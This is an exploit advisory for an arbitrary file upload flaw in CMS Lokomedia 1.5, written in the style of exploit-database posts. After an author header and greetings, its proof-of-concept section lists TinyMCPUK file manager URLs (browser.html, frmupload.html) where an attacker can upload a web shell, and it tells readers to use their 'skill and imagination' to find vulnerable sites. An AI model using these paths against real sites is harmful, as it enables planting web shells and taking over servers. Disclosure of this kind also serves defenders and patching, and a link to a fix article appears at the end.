CMS Lokomedia 1.5 Arbitary file upload vulnerability

=============================================================
CMS Lokomedia 1.5 Arbitary file upload vulnerability
=============================================================
Software: CMS Lokomedia
Vendor: http://bukulokomedia.com/home
Vuln Type: Arbitary file upload
Download : http://bukulokomedia.com/lokomedia-1.5.rar
Author: eidelweiss
contact: eidelweiss<at>windowslive<dot>com
Home: www.eidelweiss.info
DORK: use your skill and play your imagination :p
Gratz:
- Kuris : status udah merit aja beib.. kgak undang² iks..
- Richie RebelgiRL : (Limited edition.. lol) 
live is never flate so enjoy this live mate ^_^
=============================================================
exploit & p0c
<!> http://host/path_to_lokomedia/tinymcpuk/filemanager/browser.html
or
<!> http://host/tinymcpuk/filemanager/browser.html
or
<!> http://host//tinymcpuk/filemanager/frmupload.html
or
<!> http://host/path_to_lokomedia/tinymcpuk/filemanager/frmupload.html
your shell or file will be placed here

Read more: http://komputerkampus.com/artikel-59/fix-bug-hacking-tinymcpuk-pada-cms-lokomedia--security-update-versi-komputerkampuscom/#ixzz4WkPgBdWL

Read More